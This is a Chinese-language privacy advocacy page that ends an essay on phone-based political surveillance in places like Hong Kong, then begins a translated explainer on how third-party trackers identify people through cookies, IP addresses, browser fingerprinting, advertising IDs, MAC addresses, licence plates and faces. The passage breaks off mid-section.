拥有丰富位置数据的政治候选人可以将其与财务信息和其他个人身份信息结合起来，以建立针对目标的渗透性的心理特征分析，以此操纵和推动选民朝着看不见的方向前进。

可能的独裁者或专制领导人利用这些数据来误导或分裂选民，并阻止政治敌人在选举日出现在民意测验中。

然后，一旦掌权，他们就可以利用他们的大量数据来恐吓激进主义者和抗议者。

那些足够勇敢反叛的人会被跟踪并追踪到他们的家中。至少，他们所有人的名字都被输入黑名单。

- 在政府监视黑名单上是一种什么样的体验？《我被警察折磨至精神崩溃：现在我必须爬起来战斗》

维稳是长期的、隐性的，反对派一旦上了黑名单就很可能再也难以参加现实中的抗议活动；异议将越来越举步维艰。

大数据曾经是营销人员的领域，如今成为了提升独裁者权力的一种手段，任何试图对抗独裁者的尝试都会被其挫败。

换句话说，不难想象由于监视资本主义基础设施而产生的社会控制系统。

“从威权主义和监视相交的例子中可以很明显地看出，我们在世界各地都可以见到的智能镇压状况。隐私权法案是绝对必要的，”马萨诸塞州参议员 Edward Markey 说，“隐私必须从一开始就被视为一项基本人权。”

麻省理工学院教授 Carlo Ratti 回应了参议员的担忧。他说：“目前的路线是站不住脚的。如果您遭遇对信息控制的不对称，那将非常危险。无论是公司还是国家，他们都可以在反抗者团结起来之前完全压制住政治对手。如果我们走这条路，那将是非常危险且非常不稳定的。”

如果说香港向世界传授了什么，那就是，一旦建立了监视系统，几乎是不可能将其连根拔起的。

维权人士 Wong 先生说，“我认为香港公民担心他们会受到追溯性的监视。随着越来越多的报道显示北京在监视其人民方面的努力和尝试，港人担心他们受到同样的待遇。”

⚠随着时间的流逝，只有那些拥有技术上足以保护自己的手段的人才有权参加抗议，包括拥有第二个一次性电话。

- “防身技术和反侦察技术”

“从技术上讲，匿名是可能的，虽然有点难。现在你只能使用技术来保护自己，因此只有那些有技术能力的人才能做到这一点。但是，隐私并不仅仅是服务于有钱人或极客的。隐私权应该是普世的基本人权。”

即使在非专制国家，不受限制的移动监视的未来也无疑会迫使持不同政见者做出艰难的决定。

“对于反法西斯研究人员和抗议者来说，他们会承担完全暴露的危险。恶劣的状况持续升温。它迫使政府和其他组织之间变得越来越好战。”

全球激进主义者的未来可能越来越像香港。

去年的无领导抗议运动是通过技术实现的。留言板 LIHKG 和诸如 Telegram 之类的加密聊天应用程序使这种组织得以继续进行。

但是，运动本身也被同样的技术所破坏。抗议者使用的一种实时位置跟踪应用程序，用于识别警察的位置，已被苹果的 App Store 删除，这表明政府在资源上将具有竞争优势。

尽管抗议者戴着口罩，用激光挡住政府摄像机，甚至拆掉可疑的监控路灯柱，但是，每个人口袋里的间谍却在悄悄破坏他们的一切努力。

与我们其他人所有人一样，手机就是你的贴身间谍。

- 《斯诺登：智能手机本身就是不安全的东西》
- 非常推荐这个访谈！《你的手机就是秘密监视设备 — Snowden 访谈视频》

在香港等地，成千上万的手机照亮了天空，这是和平反对权威的表现。但是，只有当这些闪亮的手机最终全部消失的时候，它们希望代表的鼓舞人心的图像和民主精神才能发挥作用。〇

How Your Phone Betrays Democracy

原文

LR 单向镜的背后：监视资本家和政府的联手一直在如何折腾你？ - iyouport

你应该了解的现实你我的灾难现实公私监控伙伴关系

这里是一份手册，关于生活在目前这个世界中您需要知道的自己的处境 —— 从在线到现实。它是对这个反乌托邦世界的一个汇总，人们应该首先清楚地知道自己正在面对什么，下一步才是思考如何防御（3万字，有点长）

介绍

「图」

跟踪器隐藏在当今互联网的几乎每个角落，准确说是，现代生活中的几乎每个角落。

- 平均每个网页都与数十个第三方共享数据；
- 普通的移动应用程序也会这样做，并且许多应用程序即使您不使用它们时也会收集您的高度敏感的信息，例如位置和通话记录。
- 跟踪也可以进入物理世界。购物中心使用自动车牌读取器来跟踪其停车场的交通，然后与警察部门共享这些数据。
- 针对音乐会组织者和任何政治活动的监视使用蓝牙和WiFi信标对所在区域内的任何人进行定位。
- 零售商店使用面部识别来识别客户，并投放有针对性的广告....

📌 简单说，无时无刻地，您一直在被窥探、被收集、被出售，当然也同时被出卖 —— 这些数据会在任何状况下交给警察和间谍，您随时可能蹲冤狱。并且这些被收集的数据随时可能被骇客泄漏，任何恶意者都可以用它们来迫害您。

普通用户看不到这种监视背后的技术公司、数据经纪人和广告商，以及推动该监视的技术究竟是什么样。这些公司建立了一个单向镜大厅：您只能看到社交媒体反映的应用程序，网页，广告和您自己。但

是在玻璃后面的阴影中，跟踪器会悄悄地记录您所做的几乎所有事。

这些跟踪器不是无所不知的，但是它们是广泛且不加区分的。他们收集和导出的数据并不完美，但是非常敏感。

本文将重点关注公司的 “第三方” 跟踪，即：用户不希望与之交互的公司收集个人信息的行为。将阐明第三方跟踪背后的技术方法和商业惯例。希望本文能够揭开第三方跟踪的基本面，说明问题的范围，并帮助人们提出反击现状的方法。

第一方与第三方跟踪

「图」

当人们使用服务时，互联网上所有科技巨头公司都会收集大量的数据，他们就是这样发财的。Facebook 知道您的朋友是谁、您 “喜欢” 什么，以及您在新闻源上阅读的内容种类；Google 知道您的想法、您想知道什么、以及任何时候的去向；亚马逊知道您购买的商品、偏好、以及您住在哪 ……

这些公司通过自己的产品和服务收集的数据称为 “第一方数据”。

这些信息可能非常敏感，并且这些公司在隐私丑闻方面有着悠久的记录。

第一方数据有时是作为隐性或显式合同的一部分收集的：“选择使用我们的服务，并且您同意让我们使用在执行操作时收集的数据”。越来越多的用户开始理解，所有免费的服务都是把你当作商品出售的。

📌 但是，即便您没有使用他们的服务，也同样会被这些寡头公司收集。

- 《Facebook对您进行毛骨悚然的跟踪—— 即使您根本不用Facebook》

例如，Facebook 通过其无形的 “转换像素” 收集任何其他网站和应用程序上的用户信息；同样，谷歌使用位置数据来跟踪用户对实体店的访问 ……

而千千万万的其他数据中介、广告商和其他跟踪器则潜伏在您的日常网页浏览和设备使用的背景中。这就是所谓的 “第三方追踪”。如果没有经过训练的眼睛，第三方跟踪更难识别，而且几乎不可能完全避

免。

他们都了解了关于您的什么

「图」

很多消费者都熟悉自己的电子设备最明目张胆的侵犯隐私的潜力。每部智能手机都是一个袖珍的GPS追踪器，通过互联网不断向未知的各方广播其位置。任何带有摄像头和麦克风的互联网连接设备都有转化为秘密窃听装置的内在风险。而风险是真实存在的：位置数据在过去曾被严重滥用。亚马逊和谷歌都曾允许员工收听他们的家庭监听设备 Alexa 和 Home 所录制的音频。而笔记本摄像头也曾被学校用来监视在家的学生。

但这些比较知名的监控渠道并不是最常见的，甚至不一定是威胁最大的。尽管我们每个人醒着的许多时间都是在电子设备的互联网连接摄像头的视野中度过的，但它们在没有用户明确意图的情况下记录任何东西的情况依旧罕见。而正如本文其余部分将显示的那样，追踪者从成千上万个不那么引人注目的数据来源中了解到的信息已经足够多了。

📌 请注意：虽然 Facebook 没有通过手机监听你，但这只是因为它已经不需要这么做。

📌 请记住：对您的隐私人权最普遍的威胁是缓慢、稳定、无情地积累有关您生活方式点点滴滴的相对平凡的数据点。这包括浏览历史、应用使用、购买和地理位置数据等等一切。

这些看似不起眼的部分可以组合成一个特别有启示性的完整图谱。追踪器将您的每一步操作的数据整合成庞大的行为档案，可以揭示政治派别、宗教信仰、性取向和性生活、种族和民族、教育水平、收入阶层、购买习惯、以及身体和心理的健康状况。

行为定位广告是利用用户的行为数据来预测他们喜欢什么，他们如何思考，以及他们可能购买什么的做法，它推动了大部分第三方跟踪行业的发展 —— 这就是监视资本主义的工作方式。虽然行为广告商有时可以获得精确的信息，但他们经常处理的是一概而论和 “聊胜于无” 的统计性猜测。

这样的结果只会让你看到完全不需要的广告。

但是，您需要知道，无论追踪者的推断是否正确，他们收集的数据都是过度侵犯性的和非常危险的，他们基于这些数据做出的任何决定都会造成具体的伤害。

第1部分：跟踪者如何将数据与具体的人联系起来？

「图」

大多数第三方跟踪是为了建立真实个人的详细档案。这意味着每次追踪者收集信息时，都需要一个标识 —— 它可以用这个身份标识将信息与特定的人联系起来。

有时，追踪者会间接地这样做：将收集到的数据与特定的设备或浏览器相关联，而这些设备或浏览器随后又可能与一个具体的人或一小部分人（如一个家庭）相关联。

为了找到具体的真实的个人，追踪者需要独特的、持久和可用的身份标识。换句话说，追踪者正在寻找：

(1) 仅指向你或你的设备的信息，

(2) 不会改变的信息，

(3) 易于访问的信息。

一些潜在的身份标识符合所有这三个要求，但追踪者仍然可以只选中这三个框中两个即可满足需求。追踪者可以将多个较弱的识别线索组合起来，创建一个强大的身份识别依据。

符合上述所有3个条件的身份标识是，比如一个名字、一个电子邮件或一个电话号码。

也可能是追踪器本身分配给你的 “名字”，比如 “af64a09c2” 或 “921972136.1561665654”。

对追踪器来说，最重要的是标识指向你，而且只指向你。

随着时间的推移，它可以建立一个足够丰富的关于被称为比如 “af64a09c2” 的人的档案 —— 此人住在哪里，他读了什么，他买了什么 —— 传统的名字是不必要的。

追踪者可以使用人工标识，比如 cookie 和移动广告ID，向用户发送

有针对性的信息。而不与真实姓名挂钩的数据也同样敏感：个人信息的“匿名”档案几乎总是可以被链接到真实的人身上。

- 《数据匿名化的陷阱》
- 《即使数据是匿名的，您的身份仍然可以被识别》

有些类型的标识符，如 cookie，是您使用的技术中内置的功能。其他类型的标识符（如浏览器指纹）则是由这些技术的工作方式产生的。本节将分析网络和移动应用程序中的跟踪器如何能够识别和归属数据点。

本节将描述第三方跟踪器可以使用的标识的代表性样本。本节并不意味着详尽无遗；追踪器识别用户的方法比我们希望涵盖的更多，而且随着技术的发展，新的标识方式会不断出现。下面的表格简要介绍了每一种身份标识的独特性、持久性和可用程度。

网络上的身份标识

「图」

浏览器是大多数人与网络互动的主要方式。每次您访问一个网站时，该网站上的代码就会使您的浏览器向隐藏的第三方发出几十甚至几百个请求。每个请求都包含多条信息，可以用来跟踪你。

1、请求的背后

「图」

浏览器与您所交互的网站服务器之间传输的几乎每一条数据都是以 HTTP 请求的形式进行的。基本上，您的浏览器通过向网络服务器发送一个特定的URL来请求它提供内容。

网络服务器可以用内容（如文本或图像）或简单的确认收到您的请求来回应。它也可以用 cookie 来回应，cookie 可以包含一个用于跟踪目的的唯一标识符。

您访问的每个网站都会启动几十个或几百个不同的请求。您在浏览器地址栏中看到的URL是第一个请求的地址，但在后台还会有数百个其他请求。这些请求可以用于加载图像、代码和样式，或者仅仅是为了共享数据。

「图」

Parts of a URL. The domain tells your computer where to send the request, while the path and parameters carry information that may be interpreted by the receiving server however it wants.

URL本身包含几个不同的信息。首先是域名，比如 “nytimes.com”。这告诉您的浏览器要连接到哪个服务器。其次是路径，域名末尾的一个字符串，如 “/section/world.html”。nytimes.com 的服务器会选择如何解释该路径，但它通常会指定一个要提供的内容 —— 本例中是世界新闻部分。

最后，一些URL的结尾有 “?key1＝value1&key2＝value2” 形式的参数。这些参数通常带有关于请求的额外信息，包括用户进行的查询、关于页面的上下文和跟踪标识符。The path of a request. After it leaves your machine, the request is redirected by your router to your ISP, which sends it through a series of intermediary routing stations in “the Internet.” Finally, it arrives at the server specified by the domain, which can decide how (or if) to respond.

URL并不是被发送到服务器的全部。还有一些HTTP头字段，其中包含有关请求的额外信息，如您的设备的语言和安全设置，“referring”、URL 和 cookies。

例如，User-Agent 头可以识别您的浏览器类型、版本和操作系统。还有关于连接的低级信息，包括IP地址和共享加密状态。

有些请求以POST数据的形式包含更多可配置的信息。POST请求是网站共享数据的一种方式，这些数据块太大或太笨重，无法容纳在URL中。它们可以包含任何内容。

其中一些信息，如URL和POST数据，是专门为每个单独的请求定制的；其他部分，如您的IP地址和任何 cookies，由您的机器自动发送。几乎所有的信息都可以用于跟踪。Data included with a background request. In the image, although the user has navigated to fafsa.gov, the page triggers a third-party request to facebook.com in the background. The URL isn’t the only information that gets sent to the receiving server; HTTP Headers contain information like your User Agent string and cookies, and POST data can contain anything that the server wants.

上面的动图显示了直接从正常版本的 Firefox 中收集的数据。

如果您想自己检查一下也可以。所有主流的浏览器都有一个 “检查器” 或 “开发者” 模式，它允许用户查看幕后发生的事，包括所有来自特定标签页的请求。

在 Chrome 和 Firefox 中，你可以通过 Crtl＋Shift＋I（或Mac上的⌘＋Shift＋I）进入这个界面。在 “网络” 选项卡中，有一个特定页面发出的所有请求的日志，您可以点击每一个请求，查看它的去向和包含的信息。

2、身份标识自动共享

「图」

在每次请求时，一些可识别的信息都会自动共享。这是必要的，比如IP地址，这是互联网的基础协议所要求的，或者说它就是这么设计的，比如 cookies。追踪者并不需要做更多的事，只需要触发一个请求，任何请求，就可以收集这里描述的信息。Each time you visit a website by typing in a URL or clicking on a link, your computer makes a request to that website’s server (the “first party”). It may also make dozens or hundreds of requests to other servers, many of which may be able to track you.

3、Cookies

「图」

第三方跟踪最常用的工具是 HTTP Cookie。Cookie 是存储在浏览器中的一小段文字，与特定的域相关联。Cookie 的发明是为了帮助网站所有者确定用户是否曾经访问过他们的网站，这使得它们成为行为跟踪的理想选择。

下面是它们的工作原理。

当您的浏览器第一次向一个域名（比如 www.facebook.com）发出请求时，服务器可以在其回复中附加一个 Set-Cookie 消息头。这将告诉您的浏览器存储网站想要的任何值 —— 例如，c_user: “100026095248544”（从作者的浏览器中提取的实际 Facebook cookie）。

以后每次您的浏览器向 www.facebook.com 提出请求时，就会把之前设置的 cookie 一起发过来。这样一来，每次 Facebook 收到请求时，它就会知道请求来自哪个个人用户或设备。The first time a browser makes a request to a new server, the server can reply with a “Set-Cookie” header that stores a tracking cookie in the browser.

不是每一个 cookie 都是追踪器。Cookie 也是您不必每次访问网站时都要登录的原因，也是您在购物过程中离开网站时购物车不会清空的原因。Cookies 只是一种从您的浏览器到您正在访问的网站共享信息的手段。然而，它们被设计成能够携带跟踪信息，第三方跟踪是它们最臭名昭著的用途。

幸运的是，用户可以对浏览器处理 cookies 的方式进行大量控制。此外，Safari 和 Firefox 最近也开始限制他们认为是追踪器的域对第三方 cookies 的访问。

由于追踪器与阻止它们的方法之间的这种“猫鼠游戏”，第三方追踪开始从单纯依靠 cookies 来识别用户身份转变为依靠其他标识信息。

Cookie 始终是唯一的，它们通常会持续存在，直到用户手动清除它们。在未经修改的 Chrome 浏览器版本中，跟踪器始终可以使用 Cookies，但在 Safari 和 Firefox 中，许多跟踪器不再使用第三方 Cookies。用户可以随时使用浏览器扩展程序自行阻止 Cookie。

4、IP地址

「图」

您在互联网上发出的每个请求都包含您的 IP 地址，这是一个对您的设备来说独一无二的临时标识符。

虽然它是唯一的，但它不一定是持久的：每当您移动到一个新的网络时（例如，从家里到公司再到咖啡店），您的IP地址就会改变。由于IP地址的工作方式，即使您一直连接到同一个网络，它也可能会改变。

目前广泛使用的IP地址有两种，即 IPv4 和 IPv6。世界上只有大约40亿个IPV4地址。它很老了，是曾经为只有几百家机构使用的互联网而设计的。即使如此，目前超过70%的互联网流量仍然使用 IPv4。

因此，消费者设备使用的 IPv4 地址不断被重新分配。当设备连接到

互联网时，其互联网服务提供商（ISP）会给它“租”一个 IPv4 地址，这样，设备就可以在几个小时或几天内使用一个地址。当租约到期时，ISP可以决定延长租约或授予它一个新的IP。如果一个设备长期在同一个网络上，它的IP可能每隔几个小时就会改变一次，也可能几个月都不改变。

IPv6 地址不存在同样的稀缺性问题，它们不需要改变，但由于技术标准的隐私保护扩展，大多数设备每隔几小时或几天就会产生新的随机IPv6地址。

这意味着 IPv6 地址可用于短期跟踪或链接其他标识符，但不能作为独立的长期身份标识使用。

IP地址本身并不是完美的标识符，但如果有足够的数据，追踪者依旧可以利用它们来创建用户的长期档案，包括映射设备之间的关系。

您可以通过使用可信的 VPN 或 Tor 浏览器来隐藏您的IP地址，以防止第三方追踪者的追踪。

5、TLS状态

「图」

今天，网络上的大部分流量都是使用传输层安全性协议（TLS）加密的。任何时候你连接到一个以“https://”开头的URL，都是在使用TLS连接。这是一件好事。TLS和HTTPS提供的加密连接可以防止ISP、黑客和政府监视网络流量，并确保数据在到达目的地的途中不会被拦截或修改。

然而，它也为追踪者开辟了识别用户的新途径。TLS会话ID和会话记录单是有助于加快加密连接的加密标识符。当您通过HTTPS连接到服务器时，您的浏览器会与服务器启动一个新的TLS会话。

服务器可以向浏览器发送一个会话记录单，对一些共享的加密状态进行编码，而不是每次重新连接时在服务器和浏览器之间执行一个完整的加密“握手”。下次您连接到同一台服务器时，您的浏览器就会发送会话记录单，让双方跳过握手。唯一的问题是，会话记录单可以被追踪者利用，作为唯一的身份标识。

TLS 会话跟踪是最近才在一篇学术论文中引起公众注意的，目前还不清楚它在实际中的应用有多广泛。

像IP地址一样，会话记录单总是唯一的。它们是可用的，除非用户的浏览器被配置为拒绝它们，就像Tor那样。服务器运营商通常可以配置会话记录单，以持续一个星期，但浏览器会在一段时间后重置它们。

跟踪器创建的标识符

「图」

有时，基于网络的跟踪器希望使用的标识不仅仅是IP地址（不可靠且不持久）、cookies（用户可以清除或阻止）或TLS状态（数小时或数天内失效）。为此，追踪者需要付出更多的努力。他们可以使用 JavaScript 在本地存储中保存和加载数据，或者执行浏览器指纹追踪。

1、本地存储 “Cookie” 和 IFrame

「图」

本地存储是网站在浏览器中长期存储数据的一种方式。本地存储可以帮助基于网络的文本编辑器保存您的设置，或允许在线游戏保存您的进度。与 Cookie 一样，本地存储允许第三方跟踪器在您的浏览器中创建和保存唯一标识符。

同样和 cookies 一样，本地存储中的数据也与特定的域相关联。这意味着如果 example.com 在您的浏览器中设置了一个值，只有 example.com 的网页和 example.com 的 IFrame 可以访问它。

一个 IFrame 就像网页中的一个小网页。在 **IFrame** 内，第三方域可以做几乎所有第一方域可以做的事。

例如，嵌入的 YouTube 视频是使用 IFrame 构建的；每次您在 YouTube 以外的网站上看到一个 YouTube 视频时，它都是在一个小页面内运行。在大多数情况下，您的浏览器把 YouTube IFrame 当作一个成熟的网页，允许它读写 YouTube 的本地存储。

当然，YouTube 使用该存储空间来保存一个唯一的 “设备标识符”，并跟踪任何嵌入视频的页面上的用户。

本地存储 “cookie” 是独一无二的，它们会一直存在，直到用户手动清除其浏览器存储。它们只适用于能够在第三方 IFrame 内运行

JavaScript 代码的追踪器。并非所有的 **cookie** 阻止措施都会考虑到本地存储 **cookie**，因此本地存储 **cookie** 有时可能会提供给那些正常 **cookie** 访问被阻止的跟踪器。

2、指纹识别

「图」

浏览器指纹是最复杂、最隐蔽的网络跟踪形式之一。浏览器指纹由一个或多个属性组成，这些属性单独或组合在一起时，可以唯一地识别单个设备上的单个浏览器。

通常情况下，进入指纹的数据是浏览器不得不暴露的东西，因为这是它与网络交互方式的一部分。这些数据包括每次浏览器访问网站时随请求发送的信息，以及通过在页面上运行 JavaScript 可以发现的属性。

例如，您的屏幕分辨率、您安装的软件的具体版本以及您的时区。浏览器向您访问的网站暴露的任何信息都可以被用来建立浏览器指纹。

📌 指纹的可靠性是一个积极研究的课题，必须在不断发展的网络技术的背景下加以衡量。然而，新技术显然增加了独特识别的可能性，使用指纹的网站数量也在增加。最近的一份报告发现，在美国人访问的前500名网站中，至少有三分之一采用了某种形式的浏览器指纹。指纹在网站上的普及率也因网站的类别不同而有很大差异。

研究人员发现画布指纹技术对浏览器识别特别有效。HTML画布是HTML5的一个功能，它允许网站在网页内部渲染复杂的图形。它被用于游戏、艺术项目以及一些最漂亮的网站。因为它是如此复杂和性能密集，所以它在每个不同的设备上的工作方式有点不同。画布指纹就是利用了这一点。Canvas fingerprinting. A tracker renders shapes, graphics, and text in different fonts, then computes a “hash” of the pixels that get drawn. The hash will be different on devices with even slight differences in hardware, firmware, or software.

跟踪器可以创建一个用户不可见的 “画布” 元素，使用 JavaScript 渲染一个复杂的形状或一串文本，然后提取数据，了解画布上每个像素到底是如何渲染的。电脑上安装的操作系统、浏览器版本、显卡、固件版本、图形驱动程序版本和字体都会影响最终的结果。

当追踪器将多个特征结合在一起拼接成一个整体时，就能最有效地识

别一个浏览器。其他特征 —— 比如您的语言、时区或浏览器设置 —— 结合起来就可以识别您的身份。这些简单的信息组合比您猜想的要有效得多。

指纹往往是独一无二的，但并不总是独一无二。一些浏览器，如 Tor，是专门设计的，因此它们的用户更有可能看起来一样，这就消除或限制了浏览器指纹的有效性。你无法通过设置来 “重置” 你的指纹。而且指纹通常可以被任何能在您的浏览器中运行 JavaScript 的第三方获得。

移动设备上的身份标识

「图」

智能手机、平板电脑和电子书阅读器的网络浏览器通常与桌面浏览器的工作方式相同。这意味着，这些类型的连接设备很容易受到上节所述的所有类型的跟踪。

📌 然而，移动设备在两个大方面有所不同。首先，用户通常需要用苹果、谷歌或亚马逊账户登录，才能充分利用设备的功能。这就将设备标识符与账户身份联系起来，使那些强大的企业行为者更容易对用户行为进行描述。

例如，为了在谷歌地图中保存您住所和工作单位的地址，您需要开启谷歌的 “网络和应用活动”，于是它就可以利用你的位置、搜索历史和应用活动来定位广告。

其次，同样重要的是，大多数人在移动设备上的大部分时间是在浏览器之外的应用程序中度过的。应用程序中的追踪器不能像基于网络的追踪器那样访问 cookies。但是，通过利用移动操作系统的工作方式，应用程序跟踪器仍然可以访问独特的标识符，让他们将具体活动与你的设备联系起来。

此外，手机 —— 特别是那些运行Android和iOS操作系统的手机 —— 可以访问一组独特的标识符，用于追踪。

在移动生态系统中，大多数跟踪都是通过第三方软件开发包SDK的方式进行的。SDK是一个代码库，应用程序开发人员可以选择将其包含在他们的应用程序中。

在大多数情况下，SDK的工作原理就像上文讨论的第三方利用的网络

资源一样：它们允许第三方了解你的行为、设备和其他特征。一个想要使用第三方分析服务或为第三方广告提供服务的应用开发者从谷歌或 Facebook 等公司下载一段代码，然后将该代码包含在其应用的发布版本中。因此，第三方代码可以访问应用程序的所有数据 —— 包括在授予该应用程序的任何权限（例如位置或摄像头访问权限）之后受保护的数据。

在web上，浏览器对 “第一方” 和 “第三方” 资源进行了区分。这使得他们可以对第三方内容进行额外的限制，比如阻止他们访问浏览器的存储空间。但在移动应用中，这种区分并不存在。你不能在授予一个应用程序特权的同时，不授予其内部运行的所有第三方代码获得相同的特权。

1、电话号码

「图」

电话号码是最古老的独特数字标识符之一，也是最容易理解的标识符之一。每个号码对特定的设备来说都是独一无二的，而且号码不会经常变化。用户被鼓励分享他们的电话号码，原因多种多样（例如，账户验证、电子收据和实体店的忠诚度计划等等）。

因此，数据经纪人经常收集和出售电话号码。但是，电话号码并不容易从应用内部获取。在安卓系统上，电话号码只有被授予一定权限的应用程序中的第三方追踪者才能获得。iOS系统则完全阻止应用程序访问用户的电话号码。

电话号码是唯一且持久的身份标识，但在大多数应用中，第三方追踪者通常无法获取。

2、硬件标识符：IMSI和IMEI

「图」

每一台能够连接到移动网络的设备都会被分配一个唯一的标识符，称为国际移动用户识别码（IMSI）。IMSI号码由移动运营商分配给用户，并存储在SIM卡上，普通用户如果不更换SIM卡，就无法更改IMSI。这使得它们成为追踪的理想选择。

同样，每个移动设备的硬件中都有一个 “内置” 的国际移动设备识别号（IMEI）。您可以更换您的SIM卡和电话号码，但如果不购买新的

设备，你就无法更换IMEI。

IMSI号码在你每次连接到手机信号塔时都会与手机供应商共享；当你在世界范围内移动时，你的手机会向附近的信号塔发送寻呼，以获取有关网络状态的信息。你的手机运营商可以使用这些信息来跟踪你的位置（不同程度的准确性）。这不完全是第三方跟踪，因为它是由与您有关系的手机公司实施的，但无论如何，许多用户可能没有意识到它的发生。

- 《警察如何利用抗议者的手机追踪每个人》
- 《你的手机知道一切，并且很愿意告诉警察：法律不保护你》
- 《你的手机如何背叛了民主？》
- 《你的手机就是秘密监视设备—Snowden访谈视频》

在手机上运行的软件和应用程序也可以访问IMSI和IMEI号码，但不那么容易。移动操作系统在权限背后锁定了对硬件标识符的访问，用户必须批准这些权限，并且以后可以撤销。例如，从 Android Q 开始，应用程序需要请求 “READ_PRIVILEGED_PHONE_STATE” 权限才能读取不可重置的ID。

在iOS上，应用程序根本不可能访问这些标识符。这使得其他标识符对于大多数基于应用的第三方追踪器来说，成为更有吸引力的选择。

与电话号码一样，IMSI和IMEI号码也是唯一且持久的，但并不容易获得，因为大多数追踪器很难访问它们。

3、广告ID

「图」

广告ID是一个长长的、随机的字母和数字组成的字符串，可以唯一地识别移动设备。广告ID不是任何技术协议的一部分，而是内置在 iOS 和 Android 操作系统中的。

手机上的广告ID类似于网络上的 cookies。广告ID不像 cookies 那样由浏览器存储并与不同网站上的追踪器共享，而是由手机存储并与不同应用中的追踪器共享。广告ID存在的唯一目的是帮助行为广告商在设备上的不同应用中链接用户活动。

与 IMSI 或 IMEI 号码不同，广告 ID 可以更改，在 iOS 上，可以完全关闭。在iOS和Android上，广告ID都是默认启用的，所有应用都可以

使用，无需任何特殊权限。广告ID不会重置，除非用户手动重置。

谷歌和苹果都鼓励开发者使用广告ID进行行为特征分析，以代替IMEI或电话号码等其他标识符。

表面上看，这让用户对自己的追踪方式有了更多的控制权，因为如果用户选择，他们可以手动重置自己的标识符。然而，在实际操作中，即使用户费尽心思去重置他们的广告**ID**，追踪者也很容易通过使用其他标识符，如**IP**地址或应用内存储来识别他们的身份。

安卓的开发者政策指示追踪者不要从事这种行为，但平台没有技术保障措施来阻止这种行为。2019年2月，一项研究发现，Play商店中超过1.8万个应用违反了谷歌的政策。

广告 ID 是唯一的，默认情况下所有应用程序都可以使用。它们会一直存在，直到用户手动重置它们。这使得它们成为对诡异的追踪者来说非常有吸引力的标识符。

4、MAC地址

「图」

每个可以连接到互联网的设备都有一个硬件标识符，称为媒体访问控制（MAC）地址。MAC地址用于设置两个无线设备之间通过WiFi或蓝牙的初始连接。

各种设备都会使用MAC地址，但在移动设备上，与之相关的隐私风险更高。你通过互联网与之交互的网站和其他服务器实际上无法看到你的MAC地址，但你所在区域的任何网络设备都可以。事实上，您甚至不需要连接到网络，它就能看到你的MAC地址，在附近就足够了。

下面是它的工作原理。为了找到附近的蓝牙设备和WiFi网络，您的设备会不断地发送被称为探测请求的无线电信号。每个探测请求都包含您的设备的唯一MAC地址。如果该地区有WiFi热点，它将听到探针，并发送回自己的“探针响应”，通过设备的MAC地址进行寻址，并提供有关如何连接的信息。

但该区域内的其他设备也能看到并拦截到探测请求。这意味着，企业可以设置无线“信标”，静静地监听附近的MAC地址，然后利用这些数据来追踪特定设备在一段时间内的移动情况。

只要在足够多的地方设置足够多的信标，公司就可以追踪用户在商店周围或在一个城市里的移动。他们还可以识别两个人何时在同一地点，并利用这些信息建立一个社交图谱。

- 详细解释《在商店里，秘密监视如何跟踪你的每一步行动？》

In order to find nearby Bluetooth devices and WiFi networks, your device is constantly sending out short radio signals called probe requests. Each probe request contains your device's unique MAC address. Companies can set up wireless "beacons" that silently listen for MAC addresses in their vicinity, then use that data to track the movement of specific devices over time.

这种跟踪方式可以通过MAC地址随机化来挫败。在探测请求中，您的设备可以编造一个新的、随机的、"欺骗性的" MAC地址，而不是共享其真实的、全球唯一的MAC地址，以便每次进行广播。这使得被动跟踪器无法将一个探测请求链接到另一个探测请求，或将它们链接到特定设备。幸运的是，最新版本的iOS和Android都默认包含MAC地址随机化功能。

MAC地址追踪对于笔记本电脑、老式手机和其他设备来说，仍然是一个风险，但行业正趋向于更多的隐私保护规范。

硬件MAC地址是全球唯一的。它们也是持久的，在设备的生命周期内不会改变。它们不容易被应用程序中的追踪器使用，但被动追踪器可以使用无线信标。由于现在许多设备默认情况下会混淆MAC地址，因此它们正在成为被动跟踪的一个不太可靠的标识符。

真实世界中的身份标识

「图」

许多电子设备的标识符可以被用户重置、混淆或关闭。但现实世界中的身份标识就不同了：开车时（包括停车时）遮住车牌是违法的，而改变脸部和指纹等生物标识符则几乎不可能。

1、车牌

「图」

每一辆车都被法律要求有一个与其现实世界身份相联系的车牌。就追

踪识别而言，车牌号是最好的东西。它们很容易被发现，而且遮盖是非法的。它们不容易被改变，而且无论人们走到哪里都可以被跟踪。

自动车牌阅读器 ALPRs，是一种特殊用途的摄像头，可以自动识别和记录过往车辆的车牌号码。ALPR可以安装在固定的地点，比如繁忙的十字路口或商场停车场，也可以安装在其他车辆上，比如警车。私营公司经营ALPR，利用它们积累大量的旅客位置数据，并将这些数据卖给其他企业 —— 包括警察。

- 《如何愚弄自动车牌阅读器？》

不幸的是，对于开车的人来说，ALPRs的追踪基本上是不可避免的。由于大多数ALPRs都是在公共场所运行，所以要避开这些设备本身是非常困难的。

车牌是独一无二的，任何人都可以看到车辆，而且非常持久。它们是警察和第三方追踪者收集车辆及其驾驶员数据的理想标识符。

2、面部生物识别

「图」

面孔是另一类对第三方追踪者极具吸引力的独特标识符。面孔是独一无二的，而且极不方便更改。如今遮住脸也是违法的。

- 具体解释见 “生物识别和如何对抗”

每个人的脸都是独一无二的，可用的，也是持久的。然而，目前的人脸识别软件有时会把不同的人混为一谈。此外，研究表明，算法在识别有色人种、女性和老年人时，更容易犯这类错误。

面部识别已经得到了广泛的部署，但我们可能才刚刚开始感受到它的影响程度。面部识别摄像头已经出现在商店、街角，以及在所谓的智能眼镜上。如果没有强有力的隐私法规，普通人几乎没有办法反击通过面部识别进行的无孔不入的追踪和剖析。

- 《一家寡头退出面部识别市场是远远不够的》

3、信用卡/借记卡

「图」

信用卡号是另一个极好的长期标识符。虽然它们可以被循环使用，但大多数人更换信用卡号码的频率并不像清除 cookie 那样频繁。此外，信用卡号与真实姓名直接挂钩，任何在交易中收到您的信用卡号的人也会收到您的法定姓名。

大多数人可能不明白的是，每一笔信用卡交易都有大量的隐藏第三方参与。如果你在当地的商店买了一个小部件，商店可能会与提供办卡服务的支付处理商签约。该交易还必须经过您的银行以及信用卡供应商的银行的验证。

支付处理商又可能雇用其他公司来验证其交易，而所有这些公司都可能收到有关购买的信息。银行和其他金融机构受到法律监管，要求他们披露用户数据的共享方式，并给予用户选择不共享的权利。然而，其他金融科技公司，如支付处理商和数据聚合商，受到的监管要少得多。

随时间的推移被关联的标识符

「图」

